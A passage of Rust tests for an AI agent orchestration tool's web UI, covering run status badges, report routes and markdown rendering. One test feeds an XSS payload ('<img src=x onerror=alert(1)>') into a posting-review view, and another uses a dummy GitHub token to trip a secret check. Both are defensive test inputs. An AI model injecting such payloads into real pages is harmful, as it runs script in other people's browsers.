20360                PathBuf::from("/repo/magi"),
20361                "main".to_owned(),
20362                "0123456789abcdef".to_owned(),
20363                "Add a web UI".to_owned(),
20364                Config::default(),
20365            );
20366            s.id = id.to_owned();
20367            s.driver_pid = pid;
20368            s.driver_started_at = Some("1790000000".to_owned());
20369            s
20370        };
20371        let states = vec![
20372            mk("20260902-140502-aaaa", Some(77)),
20373            mk("20260902-140502-bbbb", Some(77)),
20374            mk("20260902-140502-cccc", Some(77)),
20375            mk("20260902-140502-dddd", None),
20376        ];
20377        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20378        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20379        let sup: HashMap<String, String> = [(
20380            "20260902-140502-aaaa".to_owned(),
20381            "20260902-140502-cccc".to_owned(),
20382        )]
20383        .into();
20384
20385        let status_calls = std::cell::Cell::new(0);
20386        let identity_calls = std::cell::Cell::new(0);
20387        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20388            |_| {
20389                status_calls.set(status_calls.get() + 1);
20390                Some(true)
20391            },
20392            |_| {
20393                identity_calls.set(identity_calls.get() + 1);
20394                Some("1790000000".to_owned())
20395            },
20396        ));
20397        let rows = summarize(
20398            states,
20399            &open,
20400            &claimed,
20401            &sup,
20402            |p| probe.borrow_mut().status(p),
20403            |p| probe.borrow_mut().started_at(p),
20404        );
20405
20406        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20407        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20408        assert_eq!(rows.len(), 4);
20409        assert!(!rows[0].waiting && rows[1].waiting);
20410        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20411        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20412        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20413        assert_eq!(rows[1].superseded_by, None);
20414    }
20415
20416    #[test]
20417    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20418        let mut state = RunState::new(
20419            PathBuf::from("/repo/magi"),
20420            "main".to_owned(),
20421            "0123456789abcdef".to_owned(),
20422            "Review only".to_owned(),
20423            Config::default(),
20424        );
20425        state.id = "20260922-090200-dead".to_owned();
20426        state.status = RunStatus::Reviewing;
20427        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20428            .expect("serialize list row");
20429        assert_eq!(row["status"], "reviewing");
20430        assert_eq!(row["display_status"], "stale");
20431        assert_eq!(row["live"], "dead", "{row}");
20432        assert!(!row["done"].as_bool().unwrap());
20433    }
20434
20435    #[test]
20436    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20437        use crate::run::Liveness::{Dead, Live, Unknown};
20438        let mut state = RunState::new(
20439            PathBuf::from("/repo/magi"),
20440            "main".to_owned(),
20441            "abc".to_owned(),
20442            "Review only".to_owned(),
20443            Config::default(),
20444        );
20445        for (status, parked, node, waiting, live, expected) in [
20446            (
20447                RunStatus::Judging,
20448                true,
20449                "github-text",
20450                false,
20451                Dead,
20452                "parked",
20453            ),
20454            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20455            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20456            (
20457                RunStatus::Judging,
20458                true,
20459                "github-text",
20460                true,
20461                Dead,
20462                "waiting",
20463            ),
20464            (
20465                RunStatus::Judging,
20466                false,
20467                "github-text",
20468                true,
20469                Dead,
20470                "waiting",
20471            ),
20472            (
20473                RunStatus::Judging,
20474                false,
20475                "github-text",
20476                false,
20477                Dead,
20478                "stale",
20479            ),
20480            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20481            (RunStatus::Judging, true, "park", false, Live, "judging"),
20482            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20483            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20484            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20485            (
20486                RunStatus::Blocked,
20487                true,
20488                "github-text",
20489                true,
20490                Dead,
20491                "waiting",
20492            ),
20493        ] {
20494            state.status = status;
20495            state.parked = parked;
20496            state.events.clear();
20497            state.event(
20498                "park",
20499                "an earlier park does not determine the latest state",
20500            );
20501            state.event(node, "message is not used for classification");
20502            let summary = RunSummary::of(&state, waiting, live);
20503            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20504            assert_eq!(
20505                summary.display_status, expected,
20506                "{status:?}/{node}/{live:?}"
20507            );
20508            assert_eq!(detail.display_status, summary.display_status);
20509            assert_eq!(detail.waiting, summary.waiting);
20510        }
20511        state.status = RunStatus::Judging;
20512        state.parked = false;
20513        state.events.clear();
20514        assert_eq!(run_display_status(&state, false, Dead), "stale");
20515    }
20516
20517    #[test]
20518    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20519        use crate::run::Liveness::{Dead, Live, Unknown};
20520        let mut state = RunState::new(
20521            PathBuf::from("/repo/magi"),
20522            "main".to_owned(),
20523            "abc".to_owned(),
20524            "Badge".to_owned(),
20525            Config::default(),
20526        );
20527        for (status, waiting, live, superseded, expected) in [
20528            (RunStatus::Gating, false, Dead, false, "stale"),
20529            (RunStatus::Gating, false, Dead, true, "superseded"),
20530            (RunStatus::Gating, false, Unknown, true, "superseded"),
20531            (RunStatus::Gating, true, Dead, true, "superseded"),
20532            (RunStatus::Gating, true, Dead, false, "waiting"),
20533            (RunStatus::Gating, false, Unknown, false, "gating"),
20534            (RunStatus::Gating, false, Live, true, "gating"),
20535            (RunStatus::Gating, true, Live, true, "waiting"),
20536            (RunStatus::Merged, false, Dead, true, "merged"),
20537            (RunStatus::Blocked, false, Dead, true, "blocked"),
20538        ] {
20539            state.status = status;
20540            let display = run_display_status(&state, waiting, live);
20541            assert_eq!(
20542                run_badge_status(&state, &display, live, superseded),
20543                expected,
20544                "{status:?}/{live:?}/superseded={superseded}"
20545            );
20546        }
20547    }
20548
20549    #[test]
20550    fn summarize_and_detail_expose_badge_status() {
20551        use crate::run::Liveness::Dead;
20552        let mut state = RunState::new(
20553            PathBuf::from("/repo/magi"),
20554            "main".to_owned(),
20555            "abc".to_owned(),
20556            "Badge".to_owned(),
20557            Config::default(),
20558        );
20559        state.status = RunStatus::Gating;
20560        let none = HashSet::new();
20561        let id = state.id.clone();
20562        let mut by = HashMap::new();
20563        let rows = summarize(
20564            [state.clone()],
20565            &none,
20566            &none,
20567            &by,
20568            |_| Some(false),
20569            |_| None,
20570        );
20571        // No driver recorded: liveness is not provably dead, so the node stays.
20572        assert_eq!(rows[0].badge_status, rows[0].display_status);
20573        by.insert(id, "20260901-000000-913b".to_owned());
20574        let detail = RunDetailView::of(
20575            state.clone(),
20576            false,
20577            Dead,
20578            Some("913b".to_owned()),
20579            None,
20580            None,
20581        );
20582        assert_eq!(detail.badge_status, "superseded");
20583        let json = serde_json::to_value(&detail).unwrap();
20584        assert_eq!(json["badge_status"], "superseded");
20585        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20586        assert_eq!(detail.badge_status, "stale");
20587    }
20588
20589    #[tokio::test]
20590    async fn run_display_status_routes_share_the_open_question_store() {
20591        let f = Fixture::start().await;
20592        let id = "20260922-090200-abcd";
20593        write_run(&f.runs(), id, RunStatus::Judging);
20594        let mut state = read_run(&f.runs(), id).unwrap();
20595        state.parked = true;
20596        state.driver_exited = true;
20597        state.event("github-text", "waiting for the owner");
20598        state.save_under(f.home.path()).unwrap();
20599        let mut task = Task::new(
20600            "resumed task".to_owned(),
20601            "do it".to_owned(),
20602            PathBuf::from("/repo"),
20603            Source::Human,
20604        );
20605        task.runs = vec![id.to_owned(), id.to_owned()];
20606        f.queue().put(&mut task).unwrap();
20607        let store = f.questions();
20608        let mut q = Question::new(
20609            id.to_owned(),
20610            "github-text".to_owned(),
20611            "owner".to_owned(),
20612            "Approve the text?".to_owned(),
20613            String::new(),
20614            Vec::new(),
20615        );
20616        store.put(&mut q).unwrap();
20617        for expected in ["waiting", "parked"] {
20618            let list = f.get("/api/runs").await.json();
20619            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20620            assert_eq!(list[0]["display_status"], expected);
20621            assert_eq!(detail["display_status"], expected);
20622            assert_eq!(detail["waiting"], list[0]["waiting"]);
20623            assert_eq!(list[0]["badge_status"], expected);
20624            assert_eq!(detail["badge_status"], expected);
20625            assert!(list[0]["superseded_by"].is_null());
20626            assert!(detail["superseded_by"].is_null());
20627            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20628            let history = task_detail["history"].as_array().unwrap();
20629            assert_eq!(history.len(), 2);
20630            assert!(history[0]["badge"].is_null());
20631            assert_eq!(history[1]["badge"], expected);
20632            q.status = ask::QuestionStatus::Answered;
20633            store.put(&mut q).unwrap();
20634        }
20635    }
20636
20637    #[tokio::test]
20638    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20639        let f = Fixture::start().await;
20640        let id = "20260922-090200-abcd";
20641        write_run(&f.runs(), id, RunStatus::Judging);
20642        let mut state = read_run(&f.runs(), id).unwrap();
20643        state.parked = true;
20644        state.driver_exited = true;
20645        state.event("park", "stopped at a node boundary");
20646        state.save_under(f.home.path()).unwrap();
20647
20648        for expected in ["parked", "stale"] {
20649            let list = f.get("/api/runs").await.json();
20650            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20651            assert_eq!(list[0]["live"], "dead");
20652            assert_eq!(list[0]["display_status"], expected);
20653            assert_eq!(detail["display_status"], expected);
20654            // Model a driver claim followed by a crash before the next event:
20655            // the persisted flag changes, but the last event is still park.
20656            state.parked = false;
20657            state.save_under(f.home.path()).unwrap();
20658        }
20659    }
20660
20661    #[tokio::test]
20662    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20663        let f = Fixture::start().await;
20664        for id in [
20665            "20260902-140501-aaaa",
20666            "20260902-140502-bbbb",
20667            "20260902-140503-cccc",
20668        ] {
20669            write_run(&f.runs(), id, RunStatus::Merged);
20670        }
20671
20672        let all = f.get("/api/runs").await.json();
20673        let capped = f.get("/api/runs?limit=2").await.json();
20674
20675        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20676        assert_eq!(all.as_array().map(Vec::len), Some(3));
20677        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20678        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20679    }
20680
20681    #[tokio::test]
20682    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20683        let f = Fixture::start().await;
20684        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20685
20686        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20687
20688        assert_eq!(res.status, 200);
20689        assert!(
20690            res.headers
20691                .contains("content-type: text/plain; charset=utf-8"),
20692            "a browser must render it, not download it: {}",
20693            res.headers
20694        );
20695        // The assertion is on content, not on the absence of escapes: colour
20696        // is a process-global that `serve` turns off at startup, and another
20697        // test in this binary may own it while this one runs.
20698        assert!(
20699            res.body.contains("20260902-140501-a1b2"),
20700            "the report is about the run that was asked for: {}",
20701            res.body
20702        );
20703    }
20704
20705    #[tokio::test]
20706    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20707        // The view names the run's state directory, which reads the process-global home.
20708        crate::run::pin_test_home();
20709        let f = Fixture::start().await;
20710        let id = "20260902-140501-a1b2";
20711        write_run(&f.runs(), id, RunStatus::Stalled);
20712        // A stalled panel and one review round, written through the real
20713        // state file so the route reads what a run really leaves behind.
20714        let path = f.runs().join(id).join("run.json");
20715        let mut v: serde_json::Value =
20716            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20717        v["tally"] = serde_json::json!({
20718            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20719            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20720            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20721            "met_quorum": false, "rankings": 1
20722        });
20723        v["reviews"] = serde_json::json!([{
20724            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20725            "e2e_deferred": true,
20726            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20727                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20728            ]}]
20729        }]);
20730        std::fs::write(&path, v.to_string()).unwrap();
20731        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20732        std::fs::write(
20733            f.runs().join("20260902-140502-dead").join("run.json"),
20734            "{not json",
20735        )
20736        .unwrap();
20737
20738        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20739
20740        assert_eq!(res.status, 200, "{}", res.body);
20741        assert!(res.headers.contains("content-type: application/json"));
20742        let j = res.json();
20743        assert_eq!(j["schema"], 1);
20744        assert_eq!(j["header"]["id"], id);
20745        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20746        let kinds: Vec<&str> = j["sections"]
20747            .as_array()
20748            .unwrap()
20749            .iter()
20750            .map(|s| s["kind"].as_str().unwrap())
20751            .collect();
20752        assert_eq!(kinds, ["candidates", "tally", "review"]);
20753        let tally = &j["sections"][1]["tally"];
20754        assert_eq!(
20755            (tally["decided"].clone(), tally["provisional"].clone()),
20756            (false.into(), true.into())
20757        );
20758        let round = &j["sections"][2]["rounds"][0];
20759        assert_eq!(round["e2e"]["state"], "deferred");
20760        assert_eq!(round["findings"][0]["severity"], "major");
20761        assert_eq!(round["findings"][0]["blocking"], true);
20762        assert_eq!(round["findings"][0]["state"], "open");
20763
20764        // The raw route keeps working beside it.
20765        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20766
20767        // An unreadable run is an error, as on the text route, and is counted.
20768        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20769        assert_ne!(bad.status, 200, "{}", bad.body);
20770        assert_eq!(
20771            bad.status,
20772            f.get("/api/runs/20260902-140502-dead/report").await.status
20773        );
20774        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20775        assert_eq!(
20776            f.get("/api/runs/20260902-999999-ffff/report.json")
20777                .await
20778                .status,
20779            404
20780        );
20781    }
20782
20783    #[tokio::test]
20784    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20785        crate::run::pin_test_home();
20786        let f = Fixture::start().await;
20787        let id = "20260902-140503-delib";
20788        write_run(&f.runs(), id, RunStatus::Merged);
20789        let path = f.runs().join(id).join("run.json");
20790        let mut v: serde_json::Value =
20791            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20792        v["judgements"] = serde_json::json!([
20793            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20794        ]);
20795        v["tally"] = serde_json::json!({
20796            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20797            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20798            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20799            "met_quorum": true, "rankings": 1
20800        });
20801        v["deliberation"] = serde_json::json!([
20802            {
20803                "round": 1,
20804                "turns": [
20805                    {
20806                        "judge": 1,
20807                        "agent": "judge-1",
20808                        "body": "I prefer candidate **A** because it has cleaner tests.",
20809                        "tentative": "A"
20810                    }
20811                ]
20812            },
20813            {
20814                "round": 2,
20815                "turns": [
20816                    {
20817                        "judge": 1,
20818                        "agent": "judge-1",
20819                        "body": "Still thinking, no choice yet.",
20820                        "tentative": null
20821                    }
20822                ]
20823            }
20824        ]);
20825        std::fs::write(&path, v.to_string()).unwrap();
20826
20827        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20828        assert_eq!(res.status, 200, "{}", res.body);
20829        let j = res.json();
20830        let judging = j["sections"]
20831            .as_array()
20832            .unwrap()
20833            .iter()
20834            .find(|s| s["kind"] == "judging")
20835            .expect("judging section exists");
20836
20837        // Existing summary lines remain intact
20838        let delib_lines = judging["deliberation"].as_array().unwrap();
20839        assert_eq!(delib_lines.len(), 2);
20840        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20841        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20842
20843        // rounds carry turn bodies, tentative and parsed body_md
20844        let rounds = judging["rounds"].as_array().unwrap();
20845        assert_eq!(rounds.len(), 2);
20846        let r1_t0 = &rounds[0]["turns"][0];
20847        assert_eq!(r1_t0["judge"], 1);
20848        assert_eq!(r1_t0["agent"], "judge-1");
20849        assert_eq!(r1_t0["tentative"], "A");
20850        assert_eq!(
20851            r1_t0["body"],
20852            "I prefer candidate **A** because it has cleaner tests."
20853        );
20854        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20855
20856        let r2_t0 = &rounds[1]["turns"][0];
20857        assert_eq!(r2_t0["judge"], 1);
20858        assert_eq!(r2_t0["agent"], "judge-1");
20859        assert!(r2_t0["tentative"].is_null());
20860        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20861        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20862
20863        // A run with empty deliberation array yields empty rounds
20864        let id_empty = "20260902-140504-nodelib";
20865        write_run(&f.runs(), id_empty, RunStatus::Merged);
20866        let path_empty = f.runs().join(id_empty).join("run.json");
20867        let mut v_empty: serde_json::Value =
20868            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20869        v_empty["judgements"] = serde_json::json!([
20870            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20871        ]);
20872        v_empty["deliberation"] = serde_json::json!([]);
20873        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20874
20875        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20876        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20877        let j_empty = res_empty.json();
20878        let judging_empty = j_empty["sections"]
20879            .as_array()
20880            .unwrap()
20881            .iter()
20882            .find(|s| s["kind"] == "judging")
20883            .expect("judging section exists");
20884        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20885    }
20886
20887    #[tokio::test]
20888    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20889        let f = Fixture::start().await;
20890
20891        let html = f.get("/").await;
20892        let css = f.get("/app.css").await;
20893        let js = f.get("/app.js").await;
20894
20895        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20896        assert!(
20897            html.headers
20898                .contains("content-type: text/html; charset=utf-8")
20899        );
20900        assert!(css.headers.contains("content-type: text/css"));
20901        assert!(js.headers.contains("content-type: text/javascript"));
20902        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20903    }
20904
20905    #[test]
20906    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20907        let body = |name: &str| {
20908            let at = APP_JS
20909                .find(name)
20910                .unwrap_or_else(|| panic!("{name} missing"));
20911            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20912        };
20913        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20914        let note = body("function landRoundNote");
20915        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20916        assert!(note.contains("Land round ${round}"));
20917        let land = body("function renderLand");
20918        let note_at = land
20919            .find("landRoundNote(pr)")
20920            .expect("renderLand uses the note");
20921        assert!(
20922            note_at
20923                < land
20924                    .find("roundRail(pr)")
20925                    .expect("renderLand uses the rail")
20926        );
20927    }
20928
20929    #[test]
20930    fn the_runs_page_redesign_keeps_its_guards() {
20931        let body = |name: &str| {
20932            let at = APP_JS
20933                .find(name)
20934                .unwrap_or_else(|| panic!("{name} missing"));
20935            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20936        };
20937        // A null child must never reach the native append (it prints "null").
20938        let land = body("function renderLand");
20939        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20940        assert!(
20941            !land.contains("box.append("),
20942            "renderLand must use append()"
20943        );
20944        assert!(land.contains("append(box, ["));
20945        // Tabs are hash routes; the run id alone decides a reload.
20946        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20947        assert!(
20948            body("function applyRoute")
20949                .contains("route.name !== state.route.name || route.id !== state.route.id")
20950        );
20951        // The decorative diagram is gone, the strip and its guards stay.
20952        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20953        assert!(!INDEX_HTML.contains("advise-converge"));
20954        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20955        assert!(APP_JS.contains("provisional"));
20956        for id in [
20957            "run-tab-overview",
20958            "run-tab-timeline",
20959            "run-tab-report",
20960            "run-report",
20961            "runs-scope",
20962        ] {
20963            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20964        }
20965        assert!(!INDEX_HTML.contains("runs-tree"));
20966        assert!(!INDEX_HTML.contains("run-raw-panel"));
20967        // Fold still says it cannot be resumed.
20968        assert!(APP_JS.contains("resume"));
20969        // The unreadable-runs count stays on the page.
20970        assert!(APP_JS.contains("unreadable"));
20971    }
20972
20973    #[test]
20974    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20975        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20976        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20977        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20978        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20979        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20980        // The subtitle still counts them whatever the banner does.
20981        assert!(APP_JS.contains("unreadable` : null"));
20982    }
20983
20984    #[test]
20985    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20986        let mut state = RunState::new(
20987            "/repo".into(),
20988            "main".into(),
20989            "abc".into(),
20990            "task".into(),
20991            crate::config::Config::default(),
20992        );
20993        state.status = RunStatus::Blocked;
20994        state.gate_ran = true;
20995        state.gate.push(crate::run::CommandOutcome {
20996            command: "cargo make check".into(),
20997            code: Some(1),
20998            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20999            duration_ms: 0,
21000            resource_blocked: false,
21001        });
21002        let view = RunDetailView::of(
21003            state,
21004            false,
21005            crate::run::Liveness::Unknown,
21006            None,
21007            None,
21008            None,
21009        );
21010        let value = serde_json::to_value(view).unwrap();
21011        assert_eq!(
21012            value["stop_reason"],
21013            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21014        );
21015    }
21016
21017    #[test]
21018    fn the_run_detail_payload_says_whether_the_run_is_done() {
21019        // `landView` reads `run.done`; the detail response must carry it.
21020        for (status, done) in [
21021            (RunStatus::Superseded, true),
21022            (RunStatus::Blocked, true),
21023            (RunStatus::Landing, false),
21024        ] {
21025            let mut state = RunState::new(
21026                std::path::PathBuf::from("/repo"),
21027                "main".to_owned(),
21028                "abc".to_owned(),
21029                "x".to_owned(),
21030                crate::config::Config::default(),
21031            );
21032            state.status = status;
21033            let v = serde_json::to_value(RunDetailView::of(
21034                state,
21035                false,
21036                crate::run::Liveness::Unknown,
21037                None,
21038                None,
21039                None,
21040            ))
21041            .unwrap();
21042            assert_eq!(v["done"], done, "{status:?}");
21043        }
21044    }
21045
21046    /// The first node of a markdown block holds a `strong` somewhere.
21047    fn has_strong(nodes: &[md::Node]) -> bool {
21048        serde_json::to_string(nodes).unwrap().contains("strong")
21049    }
21050
21051    #[test]
21052    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21053        let mut state = RunState::new(
21054            std::path::PathBuf::from("/repo"),
21055            "main".to_owned(),
21056            "abc".to_owned(),
21057            "x".to_owned(),
21058            crate::config::Config::default(),
21059        );
21060        let proposal = |approach: &str| {
21061            serde_json::json!({
21062                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21063            })
21064        };
21065        state.advice = Some(
21066            serde_json::from_value(serde_json::json!({
21067                "records": [
21068                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21069                     "proposal": proposal("do **this**")},
21070                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21071                ],
21072                "synthesis": "- one\n- **two**\n\n`code`",
21073            }))
21074            .unwrap(),
21075        );
21076        state.candidates = serde_json::from_value(serde_json::json!([
21077            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21078             "summary": "did **it**"},
21079            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21080        ]))
21081        .unwrap();
21082        // Recorded in ascending severity, the reverse of how the page sorts
21083        // them: the arrays must follow the record, not the display.
21084        state.reviews = serde_json::from_value(serde_json::json!([{
21085            "round": 1, "head": "h",
21086            "reviews": [{
21087                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21088                "findings": [
21089                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
21090                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21091                ],
21092            }],
21093            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21094            "fix": {"agent": "a", "notes": "fixed **it**",
21095                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21096        }, {"round": 2, "head": "h2", "reviews": []}]))
21097        .unwrap();
21098
21099        let v = serde_json::to_value(RunDetailView::of(
21100            state,
21101            false,
21102            crate::run::Liveness::Unknown,
21103            None,
21104            None,
21105            None,
21106        ))
21107        .unwrap();
21108
21109        let strong = |p: &str| {
21110            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21111            assert!(n.to_string().contains("strong"), "{p}: {n}");
21112        };
21113        strong("/advice_md/synthesis");
21114        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21115        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21116        strong("/advice_md/approaches/0");
21117        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21118        strong("/candidate_summaries_md/0");
21119        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21120        strong("/reviews_md/0/reviewers/0/summary");
21121        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21122        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21123        assert!(f[1].to_string().contains("strong"));
21124        strong("/reviews_md/0/reconsideration/0");
21125        strong("/reviews_md/0/fix/notes");
21126        strong("/reviews_md/0/fix/rejected/0");
21127        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21128        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21129        // The raw strings stay, and no schema moved.
21130        assert_eq!(v["candidates"][0]["summary"], "did **it**");
21131        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21132    }
21133
21134    #[test]
21135    fn a_run_without_advice_has_no_advice_md() {
21136        let state = RunState::new(
21137            std::path::PathBuf::from("/repo"),
21138            "main".to_owned(),
21139            "abc".to_owned(),
21140            "x".to_owned(),
21141            crate::config::Config::default(),
21142        );
21143        let p = run_prose_md(&state);
21144        assert!(p.advice_md.is_none());
21145        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21146    }
21147
21148    #[test]
21149    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21150        let store = ask::Questions::at(PathBuf::from("unused"));
21151        let gt = crate::github_text::Withheld {
21152            title: false,
21153            body: true,
21154            categories: vec!["sensitive-data".into()],
21155        };
21156        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21157        let (detail, comparison) =
21158            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21159        let mut q = Question::new(
21160            "r".into(),
21161            "github-text".into(),
21162            "posting-gate".into(),
21163            "s".into(),
21164            detail,
21165            Vec::new(),
21166        );
21167        assert!(
21168            QuestionView::of(q.clone(), &store, None)
21169                .posting_view
21170                .is_none()
21171        );
21172        q.posting_comparison = Some(comparison);
21173        let view = QuestionView::of(q.clone(), &store, None);
21174        let field = &view.posting_view.unwrap().fields[0];
21175        assert_eq!(
21176            field
21177                .original
21178                .iter()
21179                .map(|f| f.text.as_str())
21180                .collect::<String>(),
21181            body
21182        );
21183        assert!(field.original[0].text.starts_with("<img"));
21184        let original_question: Question =
21185            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21186        assert_eq!(original_question, q);
21187        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21188            .original
21189            .start = 1;
21190        assert!(
21191            QuestionView::of(q.clone(), &store, None)
21192                .posting_view
21193                .is_none()
21194        );
21195        q.posting_comparison = original_question.posting_comparison;
21196        q.detail.push_str("extra context");
21197        assert!(
21198            QuestionView::of(q.clone(), &store, None)
21199                .posting_view
21200                .is_some()
21201        );
21202        q.detail.insert(0, 'x');
21203        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21204    }
21205
21206    #[test]
21207    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21208        let store = ask::Questions::at(PathBuf::from("unused"));
21209        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21210        let gt = crate::github_text::Withheld::from_check(
21211            &crate::github_text::check("fix: x", body),
21212            "fix: x",
21213            body,
21214        )
21215        .unwrap();
21216        let (detail, comparison) =
21217            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21218        let mut q = Question::new(
21219            "r".into(),
21220            "github-text".into(),
21221            "posting-gate".into(),
21222            "s".into(),
21223            detail,
21224            Vec::new(),
21225        );
21226        q.posting_comparison = Some(comparison);
21227        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21228        let field = &value["posting_view"]["fields"][0];
21229        let group = &field["replacement_group"];
21230        let triggers = group["triggers"].as_array().unwrap();
21231        assert_eq!(triggers.len(), 2);
21232        assert_ne!(triggers[0], triggers[1]);
21233        for id in triggers {
21234            assert!(
21235                field["original"]
21236                    .as_array()
